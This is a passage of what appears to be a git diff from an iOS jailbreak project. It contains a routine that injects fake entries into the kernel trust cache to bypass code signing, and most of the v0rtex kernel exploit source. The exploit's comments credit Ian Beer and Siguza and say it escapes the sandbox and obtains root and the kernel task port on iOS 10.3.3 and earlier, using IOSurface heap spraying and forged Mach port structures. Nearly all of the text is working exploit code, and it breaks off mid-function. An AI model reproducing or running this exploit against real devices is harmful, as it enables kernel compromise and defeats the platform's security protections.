size_t arch_off = header_size;
struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size);
struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size);
int n = swap_uint32(fat->nfat_arch);
printf("[*] Binary is FAT with %d architectures\n", n);
while (n-- > 0) {
magic = read_magic(fd, swap_uint32(arch->offset));
if (magic == 0xFEEDFACF) {
printf("[*] Found arm64\n");
foundarm64 = 1;
struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64));
file_off = swap_uint32(arch->offset);
off = swap_uint32(arch->offset) + sizeof(struct mach_header_64);
ncmds = mh64->ncmds;
break;
}
arch_off += arch_size;
arch = load_bytes(fd, arch_off, arch_size);
}
if (!foundarm64) { // by the end of the day there's no arm64 found
printf("[-] No arm64? RIP\n");
fclose(fd);
return NULL;
}
}
else {
printf("[-] %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic);
fclose(fd);
return NULL;
}
for (int i = 0; i < ncmds; i++) {
struct load_command cmd;
fseek(fd, off, SEEK_SET);
fread(&cmd, sizeof(struct load_command), 1, fd);
if (cmd.cmd == LC_CODE_SIGNATURE) {
uint32_t off_cs;
fread(&off_cs, sizeof(uint32_t), 1, fd);
uint32_t size_cs;
fread(&size_cs, sizeof(uint32_t), 1, fd);
uint8_t *cd = malloc(size_cs);
fseek(fd, off_cs + file_off, SEEK_SET);
fread(cd, size_cs, 1, fd);
fclose(fd);
return cd;
} else {
off += cmd.cmdsize;
}
}
fclose(fd);
return NULL;
}
void get_sha256_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {
SHA256_CTX ctx;
sha256_init(&ctx);
sha256_update(&ctx, data, datasize);
sha256_final(&ctx, out);
}
void get_sha1_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {
SHA1_CTX ctx;
SHA1Init(&ctx);
SHA1Update(&ctx, data, datasize);
SHA1Final(out, &ctx);
}
int trust_bin(const char* filepath)
{
uint64_t trust_chain = Find_trustcache();
if (!trust_chain) {
trust_chain = Find_trustcache10_3_2();
}
LOG("trust %p\n", (void*)trust_chain);
struct trust_mem fake_chain;
fake_chain.next = KernelRead_64bits(trust_chain);
*(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;
*(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;
LOG("trust_chain %p\n", (void*)fake_chain.next);
uint8_t *cd = get_code_directory(filepath);
if (!cd) {
return -1;
}
uint32_t* code_dir_int = (uint32_t*)cd;
uint32_t realsize = 0;
for (int j = 0; j < 10; j++) {
if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {
realsize = swap_uint32(code_dir_int[j+1]);
cd += 4*j;
}
}
uint8_t *hash;
size_t hash_size;
// iOS 11 uses sha-256
if (kCFCoreFoundationVersionNumber >= 1443.00) {
hash_size = 32;
hash = malloc(hash_size);
get_sha256_hash(cd, realsize, hash);
} else {
hash_size = 20;
hash = malloc(hash_size);
get_sha1_hash(cd, realsize, hash);
}
fake_chain.count = 1;
size_t length = (sizeof(fake_chain) + hash_size + 0xFFFF) & ~0xFFFF;
uint64_t kernel_trust = Kernel_alloc(length);
LOG("[*] allocated: 0x%zx => 0x%llx\n", length, kernel_trust);
KernelWrite(kernel_trust, &fake_chain, sizeof(fake_chain));
KernelWrite(kernel_trust + sizeof(fake_chain), hash, hash_size);
KernelWrite_64bits(trust_chain, kernel_trust);
return 0;
}
+15
View File
@@ -0,0 +1,15 @@
#ifndef V0RTEX_H
#define V0RTEX_H
#include <mach/mach.h>
#include "common.h"
#include "liboffsetfinder64/getoffsets.h"
#ifdef __cplusplus
extern "C"
#endif
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase);
#endif
+1764
View File
@@ -0,0 +1,1764 @@
// v0rtex
// Bug by Ian Beer.
// Exploit by Siguza.
// Status quo:
// - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.
// - Can call arbitrary kernel functions with up to 7 args via KCALL().
// - Relies on mach_zone_force_gc() which was removed in iOS 11, but the same
// effect should be achievable by continuously spraying through zones and
// measuring how long it takes - garbage collection usually takes ages. :P
// - Occasionally seems to mess with SpringBoard, i.e. apps don't open when you
// tap on their icons - sometimes affects only v0rtex, sometimes all of them,
// sometimes even freezes the lock screen. Can happen even if the exploit
// aborts very early on, so I'm not sure whether it's even due to that, or due
// to my broken UI.
// - Most common panic at this point is "pmap_tte_deallocate(): ... refcnt=0x1",
// which can occur when the app is killed, but only if shmem_addr has been
// faulted before. Faulting that page can _sometimes_ increase the ref count
// on its tte entry, which causes the mentioned panic when the task is
// destroyed and its pmap with it. Exact source of this is unknown, but I
// suspect it happening in pmap_enter_options_internal(), depending on page
// compression status (i.e. if the page is compressed refcnt_updated is set to
// true and the ref count isn't increased afterwards, otherwise it is).
// On 32-bit such a panic can be temporarily averted with mlock(), but that
// seems to cause even greater trouble later with zalloc, and on 64-bit mlock
// even refuses to work. Deallocating shmem_addr from our address space does
// not fix the problem, and neither does allocating new memory at that address
// and faulting into it (which should _guarantee_ that the corresponding pmap
// entry is updated). Fixing up the ref count manually is very tedious and
// still seems to cause trouble with zalloc. Calling mach_zone_force_gc()
// after releasing the IOSurfaceRootUserClient port seems to _somewhat_ help,
// as does calling sched_yield() before mach_vm_remap() and faulting the page
// right after, so that's what I'm doing for now.
// In the long term, this should really be replaced by something deterministic
// that _always_ works (like removing the tte entirely).
// Not sure what'll really become of this, but it's certainly not done yet.
// Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.
#include <errno.h> // errno
#include <sched.h> // sched_yield
#include <stdlib.h> // malloc, free
#include <string.h> // strerror
#include <unistd.h> // usleep, setuid, getuid
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <CoreFoundation/CoreFoundation.h>
#include "common.h" // LOG, kptr_t
#include "v0rtex.h"
#if 0
#define LOG(msg, ...) \
do { \
char* buffer = malloc(1024); \
sprintf(buffer, msg, __VA_ARGS__); \
fopen(buffer, "w"); \
free(buffer); \
} while (0)
#else
#define LOG(str, args...) do {} while(0)
#endif
// ********** ********** ********** get rid of ********** ********** **********
#ifdef __LP64__
# define OFFSET_TASK_ITK_SELF 0xd8
# define OFFSET_IOUSERCLIENT_IPC 0x9c
#else
# define OFFSET_TASK_ITK_SELF 0x9c
# define OFFSET_IOUSERCLIENT_IPC 0x5c
#endif
#define IOSURFACE_CREATE_OUTSIZE 0x3c8 /* XXX 0x6c8 for iOS 11.0, 0xbc8 for 11.1.2 */
// ********** ********** ********** constants ********** ********** **********
#ifdef __LP64__
# define KERNEL_MAGIC MH_MAGIC_64
# define KERNEL_HEADER_OFFSET 0x4000
#else
# define KERNEL_MAGIC MH_MAGIC
# define KERNEL_HEADER_OFFSET 0x1000
#endif
#define KERNEL_SLIDE_STEP 0x100000
#define NUM_BEFORE 0x2000
#define NUM_AFTER 0x1000
#define FILL_MEMSIZE 0x4000000
#if 0
#define NUM_DATA 0x4000
#define DATA_SIZE 0x1000
#endif
#ifdef __LP64__
# define VTAB_SIZE 200
#else
# define VTAB_SIZE 250
#endif
const uint64_t IOSURFACE_CREATE_SURFACE = 0;
const uint64_t IOSURFACE_SET_VALUE = 9;
const uint64_t IOSURFACE_GET_VALUE = 10;
const uint64_t IOSURFACE_DELETE_VALUE = 11;
const uint32_t IKOT_TASK = 2;
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
// ********** ********** ********** macros ********** ********** **********
#define UINT64_ALIGN_DOWN(addr) ((addr) & ~7)
#define UINT64_ALIGN_UP(addr) UINT64_ALIGN_DOWN((addr) + 7)
#if 0
#define UNALIGNED_COPY(src, dst, size) \
do \
{ \
for(volatile uint32_t *_src = (volatile uint32_t*)(src), \
*_dst = (volatile uint32_t*)(dst), \
*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \
_src < _end; \
*(_dst++) = *(_src++) \
); \
} while(0)
#endif
#ifdef __LP64__
# define UNALIGNED_KPTR_DEREF(addr) (((kptr_t)*(volatile uint32_t*)(addr)) | (((kptr_t)*((volatile uint32_t*)(addr) + 1)) << 32))
#else
# define UNALIGNED_KPTR_DEREF(addr) ((kptr_t)*(volatile uint32_t*)(addr))
#endif
#define VOLATILE_BCOPY32(src, dst, size) \
do \
{ \
for(volatile uint32_t *_src = (volatile uint32_t*)(src), \
*_dst = (volatile uint32_t*)(dst), \
*_end = (volatile uint32_t*)((uintptr_t)(_src) + (size)); \
_src < _end; \
*(_dst++) = *(_src++) \
); \
} while(0)
#define VOLATILE_BZERO32(addr, size) \
do \
{ \
for(volatile uint32_t *_ptr = (volatile uint32_t*)(addr), \
*_end = (volatile uint32_t*)((uintptr_t)(_ptr) + (size)); \
_ptr < _end; \
*(_ptr++) = 0 \
); \
} while(0)
#define RELEASE_PORT(port) \
do \
{ \
if(MACH_PORT_VALID((port))) \
{ \
_kernelrpc_mach_port_destroy_trap(self, (port)); \
port = MACH_PORT_NULL; \
} \
} while(0)
// ********** ********** ********** IOKit ********** ********** **********
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
// ********** ********** ********** other unexported symbols ********** ********** **********
kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
// ********** ********** ********** helpers ********** ********** **********
static const char *errstr(int r)
{
return r == 0 ? "success" : strerror(r);
}
static uint32_t transpose(uint32_t val)
{
uint32_t ret = 0;
for(size_t i = 0; val > 0; i += 8)
{
ret += (val % 255) << i;
val /= 255;
}
return ret + 0x01010101;
}
// ********** ********** ********** MIG ********** ********** **********
static kern_return_t my_mach_zone_force_gc(host_t host)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
} Request;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *OutP = &Mess.Out;
InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_remote_port = host;
InP->Head.msgh_local_port = mig_get_reply_port();
InP->Head.msgh_id = 221;
InP->Head.msgh_reserved = 0;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = OutP->RetCode;
}
return ret;
}
static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_port_name_t name;
} Request;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_vm_address_t context;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *OutP = &Mess.Out;
InP->NDR = NDR_record;
InP->name = name;
InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_remote_port = task;
InP->Head.msgh_local_port = mig_get_reply_port();
InP->Head.msgh_id = 3228;
InP->Head.msgh_reserved = 0;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = OutP->RetCode;
}
if(ret == KERN_SUCCESS)
{
*context = OutP->context;
}
return ret;
}
kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_port_name_t name;
mach_vm_address_t context;
} Request;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *OutP = &Mess.Out;
InP->NDR = NDR_record;
InP->name = name;
InP->context = context;
InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_remote_port = task;
InP->Head.msgh_local_port = mig_get_reply_port();
InP->Head.msgh_id = 3229;
InP->Head.msgh_reserved = 0;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = OutP->RetCode;
}
return ret;
}
// Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.
// Prepare everything - sched_yield() - fire.
static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t scalar_inputCnt;
mach_msg_type_number_t inband_inputCnt;
uint32_t inband_input[4];
mach_vm_address_t ool_input;
mach_vm_size_t ool_input_size;
mach_msg_type_number_t inband_outputCnt;
mach_msg_type_number_t scalar_outputCnt;
mach_vm_address_t ool_output;
mach_vm_size_t ool_output_size;
} DeleteRequest;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t scalar_inputCnt;
mach_msg_type_number_t inband_inputCnt;
mach_vm_address_t ool_input;
mach_vm_size_t ool_input_size;
mach_msg_type_number_t inband_outputCnt;
mach_msg_type_number_t scalar_outputCnt;
mach_vm_address_t ool_output;
mach_vm_size_t ool_output_size;
} SetRequest;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t inband_outputCnt;
char inband_output[4096];
mach_msg_type_number_t scalar_outputCnt;
uint64_t scalar_output[16];
mach_vm_size_t ool_output_size;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
// Delete
union {
DeleteRequest In;
Reply Out;
} DMess;
DeleteRequest *DInP = &DMess.In;
Reply *DOutP = &DMess.Out;
DInP->NDR = NDR_record;
DInP->selector = IOSURFACE_DELETE_VALUE;
DInP->scalar_inputCnt = 0;
DInP->inband_input[0] = surfaceId;
DInP->inband_input[2] = transpose(propertyId);
DInP->inband_input[3] = 0x0; // Null terminator
DInP->inband_inputCnt = sizeof(DInP->inband_input);
DInP->ool_input = 0;
DInP->ool_input_size = 0;
DInP->inband_outputCnt = sizeof(uint32_t);
DInP->scalar_outputCnt = 0;
DInP->ool_output = 0;
DInP->ool_output_size = 0;
DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
DInP->Head.msgh_remote_port = client;
DInP->Head.msgh_local_port = mig_get_reply_port();
DInP->Head.msgh_id = 2865;
DInP->Head.msgh_reserved = 0;
// Set
union {
SetRequest In;
Reply Out;
} SMess;
SetRequest *SInP = &SMess.In;
Reply *SOutP = &SMess.Out;
SInP->NDR = NDR_record;
SInP->selector = IOSURFACE_SET_VALUE;
SInP->scalar_inputCnt = 0;
SInP->inband_inputCnt = 0;
SInP->ool_input = (mach_vm_address_t)buf;
SInP->ool_input_size = len;
SInP->inband_outputCnt = sizeof(uint32_t);
SInP->scalar_outputCnt = 0;
SInP->ool_output = 0;
SInP->ool_output_size = 0;
SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
SInP->Head.msgh_remote_port = client;
SInP->Head.msgh_local_port = mig_get_reply_port();
SInP->Head.msgh_id = 2865;
SInP->Head.msgh_reserved = 0;
// Deep breath
sched_yield();
// Fire
kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = DOutP->RetCode;
}
if(ret != KERN_SUCCESS)
{
return ret;
}
ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = SOutP->RetCode;
}
return ret;
}
// ********** ********** ********** data structures ********** ********** **********
#ifdef __LP64__
typedef volatile struct
{
kptr_t prev;
kptr_t next;
kptr_t start;
kptr_t end;
} kmap_hdr_t;
#endif
typedef volatile struct {
uint32_t ip_bits;
uint32_t ip_references;
struct {
kptr_t data;
uint32_t type;
#ifdef __LP64__
uint32_t pad;
#endif
} ip_lock; // spinlock
struct {
struct {
struct {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct {
kptr_t next;
kptr_t prev;
} waitq_queue;
} waitq;
kptr_t messages;
uint32_t seqno;
uint32_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
#ifdef __LP64__
uint32_t pad;
#endif
} port;
kptr_t klist;
} ip_messages;
kptr_t ip_receiver;
kptr_t ip_kobject;
kptr_t ip_nsrequest;
kptr_t ip_pdrequest;
kptr_t ip_requests;
kptr_t ip_premsg;
uint64_t ip_context;
uint32_t ip_flags;
uint32_t ip_mscount;
uint32_t ip_srights;
uint32_t ip_sorights;
} kport_t;
typedef volatile struct {
union {
kptr_t port;
uint32_t index;
} notify;
union {
uint32_t name;
kptr_t size;
} name;
} kport_request_t;
typedef volatile union
{
struct {
struct {
kptr_t data;
uint32_t reserved : 24,
type : 8;
#ifdef __LP64__
uint32_t pad;
#endif
} lock; // mutex lock
uint32_t ref_count;
uint32_t active;
uint32_t halting;
#ifdef __LP64__
uint32_t pad;
#endif
kptr_t map;
} a;
struct {
char pad[OFFSET_TASK_ITK_SELF];
kptr_t itk_self;
} b;
} ktask_t;
// ********** ********** ********** more helper functions because it turns out we need access to data structures... sigh ********** ********** **********
static kern_return_t reallocate_fakeport(io_connect_t client, uint32_t surfaceId, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, kport_t *kport, uint32_t *buf, mach_vm_size_t len)
{
bool twice = false;
if(off + sizeof(kport_t) > pagesize)
{
twice = true;
VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), pagesize - off);
VOLATILE_BCOPY32((void*)((uintptr_t)kport + (pagesize - off)), &buf[9], sizeof(kport_t) - off);
}
else
{
VOLATILE_BCOPY32(kport, (void*)((uintptr_t)&buf[9] + off), sizeof(kport_t));
}
buf[6] = transpose(pageId);
kern_return_t ret = reallocate_buf(client, surfaceId, pageId, buf, len);
if(twice && ret == KERN_SUCCESS)
{
++pageId;
buf[6] = transpose(pageId);
ret = reallocate_buf(client, surfaceId, pageId, buf, len);
}
return ret;
}
kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t off, mach_vm_size_t pagesize, uint32_t *request, size_t reqsize, uint32_t *resp, size_t respsz, kport_t *kport)
{
request[2] = transpose(pageId);
size_t size = respsz;
kern_return_t ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);
LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));
if(ret == KERN_SUCCESS && size == respsz)
{
size_t sz = pagesize - off;
if(sz > sizeof(kport_t))
{
sz = sizeof(kport_t);
}
VOLATILE_BCOPY32((void*)((uintptr_t)&resp[4] + off), kport, sz);
if(sz < sizeof(kport_t))
{
++pageId;
request[2] = transpose(pageId);
size = respsz;
ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, reqsize, resp, &size);
LOG("getValue(%u): 0x%lx bytes, %s", pageId, size, mach_error_string(ret));
if(ret == KERN_SUCCESS && size == respsz)
{
VOLATILE_BCOPY32(&resp[4], (void*)((uintptr_t)kport + sz), sizeof(kport_t) - sz);
}
}
}
if(ret == KERN_SUCCESS && size < respsz)
{
LOG("%s", "Response too short.");
ret = KERN_FAILURE;
}
return ret;
}
// ********** ********** ********** ye olde pwnage ********** ********** **********
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)
{
kern_return_t retval = KERN_FAILURE,
ret = 0;
task_t self = mach_task_self();
host_t host = mach_host_self();
io_connect_t client = MACH_PORT_NULL;
mach_port_t stuffport = MACH_PORT_NULL;
mach_port_t realport = MACH_PORT_NULL;
mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };
mach_port_t port = MACH_PORT_NULL;
mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };
mach_port_t fakeport = MACH_PORT_NULL;
mach_vm_size_t pagesize = 0,
shmemsz = 0;
uint32_t *dict_prep = NULL,
*dict_big = NULL,
*dict_small = NULL,
*resp = NULL;
mach_vm_address_t shmem_addr = 0;
mach_port_array_t maps = NULL;
/********** ********** data hunting ********** **********/
vm_size_t pgsz = 0;
ret = _host_page_size(host, &pgsz);
pagesize = pgsz;
LOG("page size: 0x%llx, %s", pagesize, mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
LOG("service: %x", service);
if(!MACH_PORT_VALID(service))
{
goto out;
}
ret = IOServiceOpen(service, self, 0, &client);
LOG("client: %x, %s", client, mach_error_string(ret));
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(client))
{
goto out;
}
uint32_t dict_create[] =
{
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeDictionary | 1,
kOSSerializeSymbol | 19,
0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"
kOSSerializeEndCollection | kOSSerializeNumber | 32,
0x1000,
0x0,
};
union
{
char _padding[IOSURFACE_CREATE_OUTSIZE];
struct
{
mach_vm_address_t addr1;
mach_vm_address_t addr2;
uint32_t id;
} data;
} surface;
VOLATILE_BZERO32(&surface, sizeof(surface));
size_t size = sizeof(surface);
ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);
LOG("newSurface: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
LOG("surface ID: 0x%x", surface.data.id);
/********** ********** data preparation ********** **********/
size_t num_data = FILL_MEMSIZE / pagesize,
dictsz_prep = (5 + 4 * num_data) * sizeof(uint32_t),
dictsz_big = dictsz_prep + (num_data * pagesize),
dictsz_small = 9 * sizeof(uint32_t) + pagesize,
respsz = 4 * sizeof(uint32_t) + pagesize;
dict_prep = malloc(dictsz_prep);
if(!dict_prep)
{
LOG("malloc(prep): %s", strerror(errno));
goto out;
}
dict_big = malloc(dictsz_big);
if(!dict_big)
{
LOG("malloc(big): %s", strerror(errno));
goto out;
}
dict_small = malloc(dictsz_small);
if(!dict_small)
{
LOG("malloc(small): %s", strerror(errno));
goto out;
}
resp = malloc(respsz);
if(!resp)
{
LOG("malloc(resp): %s", strerror(errno));
goto out;
}
VOLATILE_BZERO32(dict_prep, dictsz_prep);
VOLATILE_BZERO32(dict_big, dictsz_big);
VOLATILE_BZERO32(dict_small, dictsz_small);
VOLATILE_BZERO32(resp, respsz);
// ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9
// is actually 0x1000, so references to our reallocated memory may be shifted
// by (0x1000 % sizeof(kport_t))
kport_t triple_kport;
VOLATILE_BZERO32(&triple_kport, sizeof(triple_kport));
triple_kport.ip_lock.data = 0x0;
triple_kport.ip_lock.type = 0x11;
#ifdef __LP64__
triple_kport.ip_messages.port.waitq.waitq_queue.next = 0x0;
triple_kport.ip_messages.port.waitq.waitq_queue.prev = 0x11;
triple_kport.ip_nsrequest = 0x0;
triple_kport.ip_pdrequest = 0x11;
#endif
uint32_t *prep = dict_prep;
uint32_t *big = dict_big;
*(big++) = *(prep++) = surface.data.id;
*(big++) = *(prep++) = 0x0;
*(big++) = *(prep++) = kOSSerializeMagic;
*(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeArray | 1;
*(big++) = *(prep++) = kOSSerializeEndCollection | kOSSerializeDictionary | num_data;
for(size_t i = 0; i < num_data; ++i)
{
*(big++) = *(prep++) = kOSSerializeSymbol | 5;
*(big++) = *(prep++) = transpose(i);
*(big++) = *(prep++) = 0x0; // null terminator
*(big++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1);
size_t j = 0;
for(uintptr_t ptr = (uintptr_t)big, end = ptr + pagesize; ptr < end; ptr += sizeof(triple_kport))
{
size_t sz = end - ptr;
if(sz > sizeof(triple_kport))
{
sz = sizeof(triple_kport);
}
triple_kport.ip_context = (0x10000000ULL | (j << 20) | i) << 32;
#ifdef __LP64__
triple_kport.ip_messages.port.pad = 0x20000000 | (j << 20) | i;
triple_kport.ip_lock.pad = 0x30000000 | (j << 20) | i;
#endif
VOLATILE_BCOPY32(&triple_kport, ptr, sz);
++j;
}
big += (pagesize / sizeof(uint32_t));
*(prep++) = (i + 1 >= num_data ? kOSSerializeEndCollection : 0) | kOSSerializeBoolean | 1;
}
dict_small[0] = surface.data.id;
dict_small[1] = 0x0;
dict_small[2] = kOSSerializeMagic;
dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1;
dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1;
dict_small[5] = kOSSerializeSymbol | 5;
// [6] later
dict_small[7] = 0x0; // null terminator
dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1);
uint32_t dummy = 0;
size = sizeof(dummy);
ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_prep, dictsz_prep, &dummy, &size);
if(ret != KERN_SUCCESS)
{
LOG("setValue(prep): %s", mach_error_string(ret));
goto out;
}
/********** ********** black magic ********** **********/
ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport);
LOG("stuffport: %x, %s", stuffport, mach_error_string(ret));
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(stuffport))
{
goto out;
}
ret = _kernelrpc_mach_port_insert_right_trap(self, stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND);
LOG("mach_port_insert_right: %s", mach_error_string(ret));
if(ret != KERN_SUCCESS)
{
goto out;
}
ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);
LOG("realport: %x, %s", realport, mach_error_string(ret));
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport))
{
goto out;
}
sched_yield();
// Clean out full pages already in freelists
ret = my_mach_zone_force_gc(host);
if(ret != KERN_SUCCESS)
{
LOG("mach_zone_force_gc: %s", mach_error_string(ret));
goto out;
}
for(size_t i = 0; i < NUM_BEFORE; ++i)
{
ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);
if(ret != KERN_SUCCESS)
{
LOG("mach_port_allocate: %s", mach_error_string(ret));
goto out;
}
}
ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port);
if(ret != KERN_SUCCESS)
{
LOG("mach_port_allocate: %s", mach_error_string(ret));
goto out;
}
if(!MACH_PORT_VALID(port))
{
LOG("port: %x", port);
goto out;
}
for(size_t i = 0; i < NUM_AFTER; ++i)
{
ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);
if(ret != KERN_SUCCESS)
{
LOG("mach_port_allocate: %s", mach_error_string(ret));
